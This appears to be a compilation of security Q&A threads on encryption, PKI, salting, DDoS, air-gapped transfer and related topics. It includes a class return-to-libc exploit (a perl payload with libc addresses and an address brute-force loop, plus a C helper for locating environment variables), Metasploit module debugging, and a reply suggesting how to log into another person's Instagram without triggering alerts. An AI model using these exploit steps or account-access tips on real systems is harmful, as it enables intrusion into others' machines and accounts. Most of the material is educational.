openssl, recover passphrase with encrypted and not encrypted file Some of my colleague give me 2 file of private key (one is encrypted and the other is decrypted) and a passphrase. But it seems that is the wrong passphrase.
Is it even possible to recover the pass phrase with the ecrypted and decrypted private key files?

This is known as a known-plaintext attack.  From the Wikipedia article quoted above:

The known-plaintext attack (KPA) is an attack model for cryptanalysis
where the attacker has access to both the plaintext (called a crib),
and its encrypted version (ciphertext). These can be used to reveal
further secret information such as secret keys and code books.

Modern encryption algorithms such as AES are designed to be highly resistant to known-plaintext attacks, however earlier encryption algorithms were susceptible to known-plaintext attacks.  For example, with XOR encryption, it is trivial to find the encryption key given the ciphertext and the plaintext.


Certificates issued directly from root EDIT:
I have edited my question to not only consider SHA-1 deprecation, but more general the direct signing of subscriber certificates from root.

In case a legacy system still uses a setup whereby a self-signed, internal root CA directly issues server certificates, will these certificates still be accepted by end-user's browsers (e.g. employees)?

I am thinking about the impact of:

SHA-1 deprecation: if I have the SHA-1 root directly issue SHA-256 subscriber certs, is this allowed? I know that the signature on the root is not used, but directly issuing certificates from roots might be considered an illegal set-up.
Other measures that are taken by browsers: for example the document I was linked to by CryptoGuy mentioned "CAs MUST NOT issue Subscriber Certificates directly from Root CAs."

Please also provide links to credible sources, if available.

Yes, your scenario is acceptable when CA itself has SHA1 certificate, while signing issued certificates with SHA2.

Refernces:

Internet PKI: CA Browser Forum (CAB Forum) baseline requirements, §6.1.5

Microsoft: Windows Enforcement of Authenticode Code Signing and Timestamping

Google: An update on SHA-1 certificates in Chrome

All these references from major vendors include explicit information that SHA1 root is acceptable, while non-root certificates MUST be SHA2.

Edit to reflect your second question.

CAB Forum requirements are designed for their members (public CAs). Although, it is not recommended practice to issue end entity certificates directly by root CA, it is acceptable from browser perspective. In fact, most badly designed private PKIs consist of single Enterprise Root CA which issues certificates to end entities. Although, it is completely acceptable, it is insecure.

Instead, I would recommend to implement a 2-tier PKI with offline (offline here should be treated literally. It MUST NOT be connected to any network) Root and online Subordinate Issuing CA which will issue certificate to end entities.


How to encrypt with ECDSA? Suppose there's a transaction in the blockchain in which a given address transfers bitcoins to whoever. I need to encrypt a message so only the owner of that address will read it. I have his public key, but it's a ECDSA key, and as far as I know, ECDSA doesn't support encrypting.

What would be the way to achieve this?

You do not encrypt with ECDSA; ECDSA is a signature algorithm.

It so happens that an ECDSA public key really is an "EC public key" and could conceptually be used with an asymmetric encryption algorithm that uses that kind of key; e.g. ECIES; or it could also be used as one half of a key exchange algorithm like ECDH, resulting in a "shared secret" than can then be used with a symmetric encryption algorithm.

However, this is not necessarily a good idea:

Using the same key pair for both signing and encryption risks triggering some unwanted interaction between the two algorithms (e.g. the receiving party, upon computing a decryption over an attacker-controlled message, might unwillingly leak information that could lead to a signature forgery). This kind of interaction is not well studied.
Signature keys and encryption keys tend to have distinct lifecycles: generation, storage, backup... should not be handled the same way for both kinds of keys. By using the same key for signatures and encryption, you thus do things suboptimally in that regard.

A safer way to do things is to have each party own two key pairs, one for signing and one for encryption. Possibly, the owner signs his encryption public key with his signature key, so that people who know his signature public key may verify the truthfulness of his encryption public key.


I am leaving my company. I have been asked to leave my company laptop and a password to access it. What should i log out of I have been asked to leave my company laptop with a password(which I will change and share) to access it.

The reasons for this have been explained to me and are invalid, alas.

I am going to assume this is legal in the UK. If not tell me and i'll wipe it immediately. But this question isn't about the legality of the situation.

I am a developer, therefore I have lots of accounts(github etc) logged in from various different sources.

I just want to check if there is anything else I should remove before handing it over.

I use a mac so there are a few mac specific things.

Reset all browsers saved passwords. Chrome, Firefox and Safari
Clear all history of these browsers
Remove everything from Keychain.
Cleared bash history.
Revoked access on a few apps that use oauth with this machine. Is there something I can do to remove all of them?
Calendar
Downloads folder + any other items(a p60 from the job previous to this one was in one of the folders).
Contacts
Any and all programs that are no longer required.
Any emails.
Reminders
I searched for some colleagues names and it brought up other files hidden away in caches.
Notes

Is there anything I am missing?

I would like to add this was communicated to me about 4 hours ago. I have been working on this since then. Its now 7:30 in the UK on my last day in the office.

@AndréBorie The question wasn't really about the legality of the situation. That was more a stab in the dark. I have updated the question to reflect this. Deleting my user account would also delete all the stuff I have worked on. My reasons for wanting to fully wipe it are two fold.

The last time I left a machine in this state they expected it was used maliciously, including posts on stackoverflow.
A person this machine is being handed to has in the past also done similar things in point 1, bearing in mind he was the CTO. This included watching my password, allowing remote access then playing sounds through the terminal.

Legal matters depend a lot on jurisdiction (i.e. country, state/province for federal countries, professional branch in some cases...). However, in most of them, there is an official tolerance for using company hardware for limited personal use. E.g. if you have an office phone and use it to call your wife (or husband or whatever) that you will be late this evening, then you are not doing anything wrong. The same applies to accessing personal emails from a company laptop.

Doing so does not entitle the company access to whatever personal data remains on the machine. From the company point of view, personal data on a company machine is a minefield: if they access it, or let it leak to the next hardware owner, then you might be entitled to compensation. Thus, wiping the machine is the only sane advisable option for the company. If they not only intend not to wipe the machine but forbid you from doing so as well, then this means that one or several of the following may hold:

They are digging their own legal tombs.
They intend to read your personal data.
They have so sloppy procedures that they allow employees to keep critical business data on laptops without proper backups.
They don't understand the notion of "wiping".

In all probability, they just want to avoid the case where the former employee leaves the machine locked with an unknown password, and they don't know how to recover from that. This can be a problem in case of a BIOS (OpenFirmware in this case) password.

That being said, an OS X machine is, internally, a Unix system, so most if not all of your data should be in your user account directory. You could create a new user account (with administrative access), destroy the previous one, and ensure that the whole directory is gone for good. Don't forget to empty the trash can.

If that operation would count as "wiping" in the eyes of your inflexible future-ex-management, then you could limit yourself to deleting some specific sub-directories. Command-line access should show everything.


Does a hash of a 32-bit integer make a better hash salt than the integer itself? I have a scenario where I already have a table of resource passwords stored as unsalted 128-bit hashes. I'm unable to force owners to provide new passwords, so I'm trying to mitigate the situation by re-hashing all of the passwords with a salt.

Unfortunately, I can only pull the salt from existing data, and the only data I can guarantee will remain consistent is the object's (sequential) 32-bit integer ID.

Aside from adding an extra layer of obscurity, is there any benefit to extending the length of the salt by hashing the ID? Would just repeating the integer to obtain a 128-bit value have the same results? Or are both of these approaches pointless?

Actually most implementations of algorithms like BCrypt will generate a salt on their own, from the random source of the operating system. This is the best one can do and there is no need to derrive a salt from other parameters.

A salt should be globally unique for each password, so an attacker cannot find any precalculated rainbow-tables, and would have to build a separate rainbow-table for each password.

Locally unique: If every password of your database gets a different salt, the attacker cannot reuse the rainbow-tables. Hashing the integer (user id) will not make any difference in this case.
Globally unique: If you use worldwide unique salts, an attacker cannot find already precalculated rainbow-tables. Finding precalculated tables for user ids is slightly easier than finding them for the integers hashes, so hashing would indeed improve security a little bit.

Once again, you can get a salt without derriving it from other parameters, and you shold do it. Let the hash function do it, or get it from the random source of the operating system.


DDOS protection for instant messenger server I developed an instant messenger which uses TCP ports for its communication, and hosted the server application on a VPS account from some hosting company, but the first day I got attacked by a distributed dos attack, and the VPS hosters told me that the attack was of about 750 mbps.

The VPS hosting providers told me about a protection service against such attacks but they only provide their services for websites, HTTP and HTTPS ports. I searched and found some VPS services who provide DDoS protection but they are fairly expensive and my service has just started so I cant afford them.

How can I protect against DDoS without using an expensive service?

The problem with a Ddos attack is that you need to intercept/filter the traffic before it reaches the destination (your IM server). This means you will indeed need a service similar to cloudfare or increase your capacity. There is no cheap way to do this I'm afraid.


Custom word list generation for a specific web domain I am looking for a tool that generates a set of word lists based on the words it finds on the pages of a particular web domain. This question has an answer that generates permuted word lists starting from existing ones. Other tools such crunch in backtrack/kali has a number of modes of generation but does not take into account an existing word list.

How can I generate passwords based on words on the web domain?

A Python solution

You can use Scrapy which will make most of the work for you. You then would just need to use Counter() to get the top words (if looking for frequency counts).

You could also use a more low-level approach with Beautiful Soup to get the top 5 words:

# coding=utf-8
import requests
import collections
from bs4 import BeautifulSoup

thesite = requests.get("http://www.lemonde.fr").text

soup = BeautifulSoup(thesite, 'html.parser')
thewords = soup.get_text().split()

print(collections.Counter(thewords).most_common(5))

Since the output is

[('de', 223), ('la', 154), (':', 123), ('{', 115), ('à', 84)]

you could look at setting a minimal length of a "word" (3 perhaps?)

UPDATE: the code for a sorted list of most common words with 3 or more letters

# coding=utf-8
import requests
import collections
from bs4 import BeautifulSoup
import operator

thesite = requests.get("http://www.lemonde.fr").text

soup = BeautifulSoup(thesite, 'html.parser')
thewords = soup.get_text().split()

# keep only words over 3 chars

thewords = {w: f for  w, f in collections.Counter(thewords).items() if len(w) > 3}
topwords = sorted(thewords.items(), key=operator.itemgetter(1), reverse=True)

print(topwords)


How to safey interface with compromised USB device? I'd like to safely analyze and test a T-Mobile UMG366 USB cellular modem.  Clearly I'd like to know about this specific device, but more generally I've no idea how to deal with a complex USB dongle that may be compromised.

Do I just use a throw-away OS install/PC for the job and try to keep a close eye on what happens?  Or is there a specific way to start out with a basic command set and work my way up?

Need I mention the device most likely contains a SIM card with a 56-bit key?

Yes, in general you'd use an air-gapped system that is specifically used for analysis (and not your daily machine for writing reports etc.).

There are many methods: Use a Virtual Machine, run the analysis OS from read-only media, run the analysis OS on write-blocked media, or re-image the analysis machine after use. What you use will depend greatly on the resources available to you, and your technical knowledge.

An easy way is to boot from a Linux CD or similar to do the analysis (disconnect physical drives and network interface devices if you feel that would be necessary).

If you're concerned about remote connectivity via cellular network, contain the modem inside anything that can serve as a Faraday cage to block the signal.

Finally, cellular modems are pretty cheap these days compared to the cost of your time required to analyze it. If you suspect it is compromised, and your objective is to have a good, working cellular modem, consider just buying a new one.


Instagram security and two factor authentication Instagram increases its security day by day. Whenever someone logs in to an account from another device, an unusual login attempt comes to screen and the person gets notification about it. How does Instagram get to know about it? Do they trace the IP address or some other thing? If a user (ethical hacker maybe) wants to login without  notifying the person when he knows the username and password by skipping 2FA, how does he do that?

I think instagram uses fingerprints from the web browser, ip and os from the owner of the account, as soon as someone tries to log in and this fingerprints does not match the original one instagram will send notification, if ethical hacker tries to log in I think he needs to know the exact fingerprints and/or use something similiar or spoof the SMS code which the owner of the instagram account will get.


Is it legal to log passwords from failed logins? Is it legal to store/log mistyped passwords?

How many of you have seen this happen in a log file or DB?

I don’t think that “legal” is the right term to use.

It’s not wise, a lot of times “right” password is only one letter different from the “wrong” password (typo/capital letters/…).
So if somebody evil will get this log he may easily guess the correct password.

Other problem is that people re-use passwords, so they use same password for your site/gmail/facebook/bank.
So even if your site doesn’t have sensitive information about users, it’s very possible that getting user’s credentials from your site will let hacker access other user’s accounts (email/CC/bank). And you don’t want to be a source of something like that.


How can an administrator secure against a 0day before patches are available? I'm working on a thesis about the security hacker community.

When a 0day is published, how can an administrator secure his application/website between the time the 0day is published and the patch is developed ?

Moreover, most of the time, this same 0day is used for months by blackhats, so are the blackhats ahead of whitehats ?

The person who discovers a security issue often reports it to the software vendor or developer first. This gives the software vendor time to fix the issue before publication. Then, after it is fixed, the bug is publicly disclosed. This process is called responsible disclosure.

Sometimes, someone doesn't disclose the zero-day to the software vendor but uses it to hack other systems. Doing this can tip off security companies and disclose the bug, burning the zero-day.

I don't think your statement "most of the time, this same 0day is used for months by black hats" is true. This is true for some security issues, but a lot of zero-day bugs are found for the first time by white-hat hackers. I wouldn't say black hat hackers are ahead of white hat hackers. They both find security issues and some of these overlap. However, the offense has it easier than the defense in that the offense only needs to find one bug, and the defense needs to fix all the bugs.


Purpose of RANDFILE in OpenSSL? What is the purpose of the RANDFILE in an OpenSSL configuration file (specifically, the ca section)? The man page entry, config, just describes this as:

  At startup the specified file is loaded into the random number
  generator, and at exit 256 bytes will be written to it.

But I can't tell how OpenSSL uses it. Does OpenSSL use it and only it for randomness, or is it just a salt for randomness taken from elsewhere? Do I need to include it every time, and if so, how much data should be in it?

Addendum

Would it confer any security advantage to save output from openssl rand to this file?

RANDFILE is used by OpenSSL to store some amount (256 bytes) of seed data from the CSPRNG used internally across invocations.  This is particularly useful on low-entropy systems (i.e., embedded devices) that make frequent SSL invocations.

The file is loaded via the function RAND_load_file.  Looking at the source, we see that the contents of the file are added to the RNG via RAND_add, so they are in addition to any existing entropy in the RNG.

Since the RNG loads some entropy from system-specific entropy sourcess at the time it is initialized, it seems that RANDFILE is definitely not the only source of entropy used for the RNG state.

  Would it confer any security advantage to save output from openssl rand to this file?

That's essentially what OpenSSL does when it says "at exit 256 bytes will be written to it".  If you'd like to seed it from something initially, I recommend /dev/urandom, like so:

dd if=/dev/urandom of=randfile bs=256 count=1


What are legal/ethical concerns to bear in mind, when hacking websites with open invitations? I was reading another question which mentions a site that had a page inviting people to try to hack it, and it made me wonder.

Lets assume, for the sake of this rather hypothetical question, that a site has a page asking people to hack it, and that the page did not specify which kind of hacking was or wasn't acceptable.

Does placing such a page provide a legally/ethically sufficient indication that this site is really expecting to be hacked?  Are there any legal/contractual/ethical requirements to be set before publishing or executing those kind of challenges?

Does it really mean all bets are off and any kind of attack is acceptable?

  This question was IT Security Question of the Week.
  Read the Apr 6, 2012 blog entry for more details or submit your own Question of the Week.

This is a very interesting area, and I don't think anyone has raised a legal case yet to gain a decision one way or the other.

In various jurisdictions, you could still be prosecuted for criminal activity, despite there being an approval note on the website.

As an example, when a penetration testing company does some work for you, the terms and conditions may include limitation of liability clauses, expectation of behaviour, contact and escalation protocols and contacts and so on, and we still work with an element of risk that if we break something the client may take legal action. So when you start attacking a website be very aware that as there is no signed contract they may not need to hold to the contract implied on the website.

So at the very least, follow the guidelines, but in addition, log everything you do just in case something bad happens and you need to prove it wasn't you, or wasn't deliberate!


Where to offer money for cracking check I made a software and I would like to distribute it as a demo that can be registered. I would like to know if there is a site where I can offer some  reward for some one try to crack my software and explain how it was done.
Thanks

Don't spend a lot of money on this effort, because any software you distribute can be  cracked.  Unless you're distributing expensive hardware keys, or creating a server-side component, any end-user copy protection scheme can be broken.

Instead, you can make it complex enough to thwart most people (it sounds like you've already done this.) Also, you could appeal to your users to be trustworthy and not to share copies.  Relying on a service to perform an important feature works for products like Microsoft's Office365.


Is the ACME HTTP-01 challenge secure against MITMs? Many certificate authorities these days use the ACME protocol to automate the process of certificate issuance. This includes verifying that the applicant is the owner of the domain. And the most common way of doing this is via the HTTP-01 challenge, which challenges the applicant to serve up a given token from a server over HTTP.

But my question is, if HTTPS is what provides authentication and non-repudiation for the web, how can HTTP, a protocol without these features, be used to bootstrap HTTPS? How does the certificate authority know that the server serving up the challenge token is indeed at the IP address that it says it's at? Isn't this challenge vulnerable to a MITM attack, the very thing that HTTPS seeks to prevent?

Indeed, the WebPKI is a cached distributed Trust-On-First-Use system. A CA is hosted very close to the internet backbone, and good CAs perform multi-perspective checks, meaning they are hosted at multiple places worldwide, each location connected close to the internet backbone, and they run the DNS or HTTP validation check from multiple locations.

If you are at an internet cafe with hijacked WiFi and try to do TOFU, you'll get MiTM'd. But it is much harder to MiTM the connection between say AWS and GCP - that traffic can probably only be MiTM'd by Amazon, Google, a Tier 1 ISP and the NSA.

Assume that any sovereign national government can MiTM a connection between any server hosted physically inside their country and a server outside the country. So, if e.g. Turkey wanted to MiTM any server in Turkey, it can. The government of Turkey can also order a Turkish CA to issue certificates that would be trusted by all browsers.

The protection against a CA being fooled by MiTM is the same as the protection against a CA being suborned and a CA being hacked: Certificate Transparency logs will show a certificate for your domain that you did not authorize. If this is noticed and reported, this will lead to the CA being nuked from orbit, live on mozilla.dev.security.policy. You can monitor the major trusted certificate transparency logs for your domains (or pay someone to do it for you, or someone else).


From a security perspective, why not a screenshot api for browser? I mean a javascript api for capturing a renderered html page, or current viewport, and dump content onto an image.

While there are obvious attacks, such as taking screenshot of sensitive information, I don't really believe a screenshot api is more evil than, say, being able to log your key strokes with javascript (which you already can).

So to me, screenshot api is no more or less secure than any other existing api, an attacker using xss attacks can already do what they want.

So are there other vectors I haven't thought of, that makes screenshot api a no-go for browser vendors? Note you can already render some html through canvas/svg, and take screenshots using devtool or extensions.

See:

http://html2canvas.hertzen.com/
https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Drawing_DOM_objects_into_a_canvas

Presumably it would need to not capture content loaded from other domains (like iframes or images), but that seems solvable.

The easiest explanation is that for any feature to exist it has to be prioritized over all of the other features that don't exist.  You have to sell it to developers and this seems like it would have privacy implications that would cause users to oppose it.


How can privilege escalation through pkexec be prevented? I've managed to elevate privileges on a Linux machine (3.19) using pkexec, but I don't understand the mechanics. /usr/bin/pkexec has the SUID bit set (which is normal, I gather), and simply using it to invoke /bin/sh and authenticating with my low-priv user results in root privileges.

How this works and how to prevent it are unclear to me. I've read up on pkexec (and polkit), but I just don't get it. Any explanation would be helpful.

Configuration, basically.

If you're on Ubuntu, have a look in /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf:

 [Configuration]
 AdminIdentities=unix-group:sudo;unix-group:admin

Any member of the unix groups sudo or admin can use pkexec to gain administrative capabilities. The user created during installation of Ubuntu is a member of those groups, as it is the system administrator. If you create a new user that is not member of those groups, it cannot use pkexec.

man polkit gives you some information about how to configure policy kit.


Environment variable and scripting for return-to-libc exploit For school we have to perform a return-to-libc exploit. Doing this, we need to spawn a shell from /bin/xh which will print a message that we succeeded with our exploit.

To do this exploit, I used this script to get in

$(perl -e 'print "\x90" x (789) . "\x60\xb0\xe6\xb7" . "\xe0\xeb\xe5\xb7" . "\x25\xf9\xff\xbf"')

\x25\xf9\xff\xbf points to an environment variable that I inserted myself through using the "export" command, the SHELLMINE=/bin/xh string to be exact. Using the string of the normal bash shell isn't useful as it won't get me into the shell that prints the succession text. Of course, I'm aware that the variable addresses changes from time to time so the "\x25" part is changed when needed.

This script works when used directly into the terminal.

Now the problem is the fact that it won't work when used from a bash script.
This is because the environment variables that are used when executing the script is in a different place. I tried using a debugger which gets executed from the script and looking for the address there but with the found address it doesn't work either

This is the code I got

for i in `seq 192 239`;
do
number=$(printf "%02x" "$i");
export SHELLMINE=/bin/xh
echo "$number"
echo "'print \x90 x (789) . \x60\xb0\xe6\xb7 . \xe0\xeb\xe5\xb7 . \x$number\xf8\xff\xbf '"

$lev $(perl -e 'print "\x90" x (789) . "\x60\xb0\xe6\xb7" . "\xe0\xeb\xe5\xb7" . "\x'"$number"'\xf8\xff\xbf" ')
done

Basically what I need is a way to get the address of the environment variable or a better way to insert the string to be used in the exploit.

Storing the value in the environment is a common (good) practice.

To get the address of the environment variable you can use this C snippet:

(Im assuming you know how to compile it for your system)

/* Author: Jon Erickson */

/* Deps */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* Main */
int main(int argc, char *argv[]) {
    char *ptr; /* the needed address will be stored here */

    if(argc < 3) {
        printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]); /* get env var location */
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
    printf("%s will be at %p\n", argv[1], ptr); /* Print the result */
}

In your case, lets take that you called it getenv.c, you should issue this command:

./getenv SHELLMINE [Name of the program you are expliting the overflow]

and it will print your needed pointer like:

SHELLMINE will be at [ptr]


Analysing a MetaSploit Exploit, can't figure out why a function is not executing I'm studying a MetaSploit Exploit vnc_keyboard_exec, and I was wondering where is defined the function cmd_psh_payload (line 141).

So I greped through msf/core directory on my Kali machine and found it was in /msf/core/exploit/powershell.rb

So I placed a print_status("aaaa") just before the call of cmd_psh_payload in the exploit file and a print_status("bbb") at the beginning of the function (in powershell.rb) and ran the exploit (in a virtual training lab).... but, only "aaaa" was printed.

I've looked for the definition of this function elsewhere on my machine, but can't find it. So maybe the function is not called, but why would it be ? I'm really stuck here, can't figure out what to do..

Thanks for your support

You've made code changes to the Powershell mixin, but for the changes to kick in, you need to reload it. And reloading the module will not reload the mixins it depends on.

You need to:

Either restart msfconsole
Or at the beginning of your module, add this line:

load "./lib/msf/core/exploit/powershell.rb"

And then when you do either reload or rerun, the code changes from the mixin will reapply.

BTW, you are actually better off asking Metasploit questions at: https://community.rapid7.com/community/metasploit

Because there are Metasploit devs there answering questions.


Does having a passphrase and SSH key qualify as two factor authentication for PCI? I am working on getting our company's servers PCI SAQ-C compliant (credit card data passes through our system but is not stored by our system).  We have SSH access to administer the servers and all logins use SSH keys to authenticate.

If I require all keys to have a passphrase (something you know) and the key (something you have) does this meet the requirements for PCI compliance? I read over the self assessment documentation but it was pretty unclear on the subject.

If an SSH key is protected by a passphrase, then it's just encrypted with that passphrase. There isn't an additional authentication component. That is, you can decrypt the key client-side (and store the decrypted key), and the server won't ever know. In fact, many users use "key agents" which allow you to enter your decryption passphrase only once, and the key material is remembered during your workstation login session.

You can, however, require on the SSH server both a passphrase and SSH key, where the passphrase is your server's normal user password. If your SSH key is encrypted (and you're not using a key agent), then this is actually two passwords required at login; one for your key and one for your server. This is probably closer to the spirit of two-factor authentication.

There are many who would say, though, that key material on your computer is still "something you know", since it's infinitely copyable. Instead, "something you have" would be a hardware token that can't be duplicated. It is possible to implement SSH keys using hardware tokens, assuming the token supports RSA keys. This may take some doing to set up, though.


Which is potentially more secure, an encrypted secondary drive or local NAS box? I have both and I wonder where I should keep my data.

On one hand my encrypted drive is unlocked most of the time when I'm logged in so it's just as susceptible to a virus or a malicious application as any other file on the computer.

Then again, would storing files on a local NAS box be any different?

Does the physical separation of the data and my PC improve the security of the overall setup given that I would most likely be logged into the server throughout the day?

I'm mainly considering malware, viruses, spyware and other software threats.
I'm not too worried about physical access to my computer.

I'm using Ubuntu as my main OS.

I think it depends on what threat you are trying to protect against. But anyway, on Windows it should probably by ransomware these days. My thoughts below apply to other malware as well.

Keeping your files on a NAS accessible via Windows file sharing (SMB) is not much different and not much more secure than a local disk. Encryption of the disk does not help if it's mounted all the time anyway.

The problem with protecting against ransomware (and part of the reason it's so successful) is that if you can automate backups (the backup drive can be mounted automatically), the malware can also mount and access it, and recent ransomware quite possibly will do that. Even if it needs a password from you, the ransomware can (in theory at least) sit in the background until you type that password once, and then it can access your drive anytime.

So you should have offline backups, where offline means really offline, as in the NAS switched off or something like that. Backups on write-once media could also be an option, but not very feasible, especially not for home use.

So I think it comes down to a reasonably secure backup strategy, and what exactly is reasonably secure for you depends on your scenario. For example you may want to make a truly offline backup (by physically switching on a NAS, making the backup and then switching it off) once a week, and a daily backup to a password protected drive that is not always mounted. Obviously this is just one example, several conflicting factors need to be balanced (convenience, importance of your data, what timespan of data you can afford to lose, etc).

In short and as always, it's about cost and benefit. Your defense should be proportionate to your risk.


Is this use of PHP eval() exploitable? During a code review, I have found something similar to this:

function foo() {

        $a = "a";
        $expression = '$_GET["$a"]';

        return eval('return ('.$expression.');');
}

$a = foo();
echo $a;

Don't mind the nonsense, the example is simplified and due to bad design decisions, the client "really" needs the "return eval" instruction.

My guess would be no, because $expression is not $_GET["$a"], but a string representing the name of the variable, so the argument to eval() is equivalent to a "return string".

But according to the PHP manual:

  You should never use parentheses around your return variable when returning by reference, as this will not work. You can only return variables by reference, not the result of a statement. If you use return ($a); then you're not returning a variable, but the result of the expression ($a) (which is, of course, the value of $a).

Is there a way this could be exploited?

Since you just echo a GET variable, this is vulnerable to XSS. But that has nothing to do with your use of eval which I take is the main focus of the question. So let's look at that.

If you replace eval(...) with echo ..., you will note that no matter what you pass in, the output will be this:

return ($_GET["$a"]);

This is because you use ' and not ", so $expression does not end up conatining the value of the GET variable. So there is nothing controlled by the user in the expression you are evaluating - It's basically just a constant. That's not dangerous (given that the constant itself doesn't contain dangerous code), but it's not exactly useful either. You might as well just drop the eval.

But still... I would be nervous if I was responsible for this code. It sure looks shaky, and just using eval no matter why is a huge red flag. Plus, who knows what I might have missed in this answer.


Unidirectional continuous data transfer to an air-gapped computer What would be a way to transfer files in one direction from internet-facing computerA => air-gapped computerB to protect the files on computerB from unauthorised disclosure, short of using an expensive data-diode?
Requirements

The data transfer must be continuous. (cable is ok but not a USB flash drive)
Only the confidentiality of data in computerB is important. There is no need to protect the integrity of data in computerB.

Consider that computerA may be at a risk of being compromised. What would be the best way to transfer data (mostly pdf files) in one direction? I'm looking for a solution that mostly protects against remote attacks (i.e. confidential files end up on compromised computerA) rather than local attacks (attacker is a few metres from the setup).

I've seen this implemented many times in secure environments:
Simply connect the two computers via optical fiber and disconnect one side of the fiber.
That guarantees your one-way connect.
Protocol wise, the connection uses UDP protocol with a:

Start-Block
Data-Block
Stop-Block
Checksum-Block

Typically the Start and Stop are whole files, not chunks.
The Receiver simply checksums the data and compares with the checksum sent. If it matches, you're done. If not, the receiver indicates an error that has to be manually checked with the User having to manually re-send because there is no automated feedback.
This simplistic approach works quite well because with a direct fiber one-to-one connect, classic concerns about UDP mostly don't happen.

Order is guaranteed because it's completely sequential.
Reliability while not assured, is extremely high without network contention.
Verification only requires a simple checksum.

Some systems opted for multiple retransmissions as a simplistic error correction but errors are rare with a direct connect.


Is there a foolproof method to remove spyware from Android smartphone? I am owning an Android smartphone. I learnt that factory reset may not remove spyware as it might have corrupted the image being installed by factory reset. Is there a foolproof method which ensures there is no spyware left on the device?

This can be done in two easy steps:

Wipe your Android phone.
Download an official factory image and flash it.

This way you make sure you have a clean firmware from the official source.


User generated search queries Are user generated search queries classed as sensitive data?

For example, if an application put PII from a search query such as names, date of birth, addresses etc. in the query string of a URL (HTTPS GET request), it was my assumption this would be sensitive data that must be protected, i.e. do not use GET, use POST, as per CWE.

However, some colleagues do not agree with securing these URLs because they say "user generated content is not sensitive, as it can be data that doesn't exist, or the search data can be sent via other methods e.g. email". I disagree with this but was looking for an expert opinion on whether or not user generated search queries can technically contain PII, and are they sensitive?

The main difference between GET and POST requests is that in GET requests a third person can see the information passed to the application just by viewing the url, something that doesn't happen with POST requests. This is why it's considered better and safer to use POST instead of GET http-method for sensitive data.

Have in mind though, that from a security perspective if someone by any mean manage to execute successfully e.g. a MITM attack to the network, he will be able to retrieve not only GET but also POST parameters/data, so make sure that when you pass sensitive data to your application - you pass them encrypted - so https combined with HSTS in this case plays a very important role to protect your application and clients from remote attackers.

Now about what's considered sensitive data? I'm not a lawer, but I believe that sensitive are the data that should be protected by any unauthorised access. Also that depends on the application. For example facebook allows authenticated users to view some of your information (if you set your settings to do so) - so in this case it's up to the user to select what to share and what to keep private (of course some things must be kept private, like passwords, social security numbers, credit card numbers etc...).

Also if some of the user's information are used by the application's functionality and must be passed to the application frequently (e.g. user's email for authentication) but they don't need to be visible then it's better to hide them and when needed pass them to your application using POST instead of GET. In this way you can prevent (or at least discourage) some kind of attacks like brute-force attacks. Imagine that the complexity of such an attack reduces from O(n^2) to O(n) when the attacker knows either the username or the password and doesn't have to guess the correct combination.


How can I send a email between gmail accounts without giving out my IP address? I would like to send an email from a gmail account to another gmail account, without giving out my IP address. I still would like to give out my name, so it is not completely anonymous, only without giving out my location.

I examined the header in an email sent from a gmail account to another gmail account in http://whatismyipaddress.com/trace-email, and the website shows the source location.

Is there some way to suppress the IP and thus location of the sender?

Gmail does not disclose your personal IP address when sending mail between two Gmail accounts (or Gmail to any other recipient).

The IP address in the headers is the IP address of the server which dispatched the email to the receiving SMTP server. In the case where you have a Gmail account, that is the Gmail servers IP address.

The only people who would know the IP address of the sender is Gmail themselves via their own logging.


How can I validate imported keys with GPG? Recently, I downloaded several public keys with gpg, in order to fix Debian package system after upgrading to Stretch. The commands were:

# gpg --recv-keys EF0F382A1A7B6500
# gpg --recv-keys 8B48AD6246925553
# gpg --recv-keys 7638D0442B90D010

Those keys were correctly imported into my GPG keyring. However, I would like to check if they have not been tampered within the process. If I check one of these keys with this command

# gpg --check-sigs 8B48AD6246925553

I could state that it contains one valid signature, according to the process output:

gpg: 1 good signature
gpg: 25 signatures not checked due to missing keys
pub   rsa4096 2012-04-27 [SC] [caduca: 2020-04-25]
  A1BD8E9D78F7FE5C3E65D8AF8B48AD6246925553
uid           [desconocida] Debian Archive Automatic Signing Key (7.0/wheezy) <ftpmaster@debian.org>
sig!3        8B48AD6246925553 2012-04-27  Debian Archive Automatic Signing Key (7.0/wheezy) <ftpmaster@debian.org>

The literal sig!3 indicates that the signature is good, but trusting marginally Listing signatures related with this key gives me this result:

# gpg --list-sigs 8B48AD6246925553
pub   rsa4096 2012-04-27 [SC] [caduca: 2020-04-25]
  A1BD8E9D78F7FE5C3E65D8AF8B48AD6246925553
uid           [desconocida] Debian Archive Automatic Signing Key (7.0/wheezy) <ftpmaster@debian.org>
sig 3        715ED6A07E7B8AC9 2012-04-27  [ID de usuario no encontrado]
sig          040BA4EB3B7F81DA 2016-02-16  [ID de usuario no encontrado]
...
(up to 25 signatures not checked)

My question is: Does GPG check the new downloaded key and its signatures against an older (and previously existing) key on my system? Is there a way that I can validate that signature with ID 715ED6A07E7B8AC9 is valid? (I could compute a hash on any file and compare it with a fresh Debian installation on another computer)

This is what I could guess, since I have been checking two aspects:

GPG's source code (version 2.1.18, file g10/sig-check.c)

The function that validates signatures will check the following:

Look up the public key that created the signature.
the signature was not created prior to the key.
public key was created in the past.
no unsupported features.
hash against digest.

Since I imported three keys into an empty keyring, nothing looks wrong (date, hash, etc.) except the fact that there is no other key to check the signature against it. Thus, the signature looks like self-signed (no other key IDs are found) with the sig!3 result (trusting marginally) and the importing process warned me with "no ultimately trusted keys found"

A fresh Debian installation in a virtual machine.

I exported one of the public keys with this command:

gpg --armor --export EF0F382A1A7B6500 | gpg --list-packets --verbose --debug 0x02

Not only will it dump the key part, but also signature packets. I could compare my GPG key contained in the GPG keyring, against the same KEYID in another computer, contained in the APT keyring. The whole byte sequences were identical.

Something similar is described in Debian Manual/Securing Debian (section 7.5.3.8, Verifying key integrity)


Secure Hidden Inputs in Paypal I'm trying to create a system that accepts payments thru Paypal. I've managed to create one using a sandbox account. The process of the system is that they will select a product (coming from my database), click the "Buy" button of their preferred product, then redirects the user to Paypal. After successfully paying, it will do an Instant Payment Notifications (IPN) that will insert the transaction ID, along with the product ID (hidden input), status, price, currency, etc. into my MySQL database. All goes well.

